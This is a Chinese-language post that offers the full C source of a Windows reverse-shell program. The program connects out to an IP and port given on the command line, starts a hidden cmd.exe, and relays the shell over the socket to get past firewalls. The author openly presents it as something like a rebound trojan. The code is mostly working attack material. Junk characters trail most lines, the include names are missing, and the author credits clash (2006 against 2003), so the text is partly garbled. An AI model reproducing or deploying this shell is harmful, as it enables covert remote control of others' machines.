Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 [cfKvROG  
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/* ============================== jc0Trs{Jf  
Rebound port in Windows NT <e)u8+(  
By wind,2006/7 mqrV:3}  
===============================*/ LeEv']  
#include ;Gnk8lIsb  
#include J)I|Xot  
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#pragma comment(lib,"wsock32.lib") SyL:=NZ  
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void OutputShell(); $*-U
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SOCKET sClient; xryXO(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9=o;I;I  
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void main(int argc,char **argv) ^s.necg0  
{ vXI2u;=y  
WSADATA stWsaData; pXap<T  
int nRet; "Qci+Qq  
SOCKADDR_IN stSaiClient,stSaiServer; FV~ENpncP  
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if(argc != 3) vHmsS\\~9  
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); K3*8-Be  
return; )y#~eYn  
} ;:Kd?Tz$  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Gq)E,Ln&d  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k\/idd[  
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stSaiClient.sin_family = AF_INET; #^i.[7p  
stSaiClient.sin_port = htons(0); f5tkv<) %  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F4X0DRC,G  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7iijATc  
{ Ew,1*WK!  
printf("Bind Socket Failed!\n"); 6C@W6DR3N  
return; $-*E   
}  "o{o9.w  
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stSaiServer.sin_family = AF_INET; SI"y&[iw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X6Wj,a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0r/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^.?5!9U  
{ %G43g#pD  
printf("Connect Error!"); P-Upv6J3  
return; 8n'"RaLQ8  
} d&G#3}kOb%  
OutputShell(); \g;o9}@3~  
} }<=4A\LZ  
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void OutputShell() Z]^Ooy[pb  
{ <$+Cd=71\  
char szBuff[1024]; ,GVD.whUl  
SECURITY_ATTRIBUTES stSecurityAttributes; ZvVrbj&  
OSVERSIONINFO stOsversionInfo; JlMD_pA  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^1 U<,<  
STARTUPINFO stStartupInfo; OL0W'C9oA  
char *szShell; ibj3
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PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; #)7THx/=  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {9_}i#,vR  
stSecurityAttributes.lpSecurityDescriptor = 0; K
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stSecurityAttributes.bInheritHandle = TRUE; 552yzn1  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +3wVcL  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6jaol'{SuH  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bd& /B&a  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xe.
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stStartupInfo.wShowWindow = SW_HIDE; xhTiOt6l  
stStartupInfo.hStdInput = hReadPipe; >3SZD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W? SFtz  
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GetVersionEx(&stOsversionInfo); |f}1bJE+  
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switch(stOsversionInfo.dwPlatformId) ~u^MRe|`  
{ Jv[c?6He  
case 1: S#[w)
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szShell = "command.com"; ^6kE tTO*  
break; WJ[ybzVj  
default: K.P1|  
szShell = "cmd.exe"; WJA0 `<~  
break; Ro:DAxi@L  
} xa&5o`>1G  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]ML(=7z"  
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send(sClient,szMsg,77,0); IMT]!j&Y,  
while(1) |08'd5  
{ JIH6!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); O*dtVX  
if(lBytesRead) fFiFS\''V  
{ ='z4bU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Yb?L:,a(I  
send(sClient,szBuff,lBytesRead,0); 41oXOB  
} Op>l~{{{  
else P;7 Y9}  
{ zxhE9 [`*e  
lBytesRead=recv(sClient,szBuff,1024,0); q37d:Hp  
if(lBytesRead<=0) break; x<gP5c>zm  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s-lNpOi  
} Z^_-LX:%  
} *k^'xL  
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return; q1_iV.G<  
}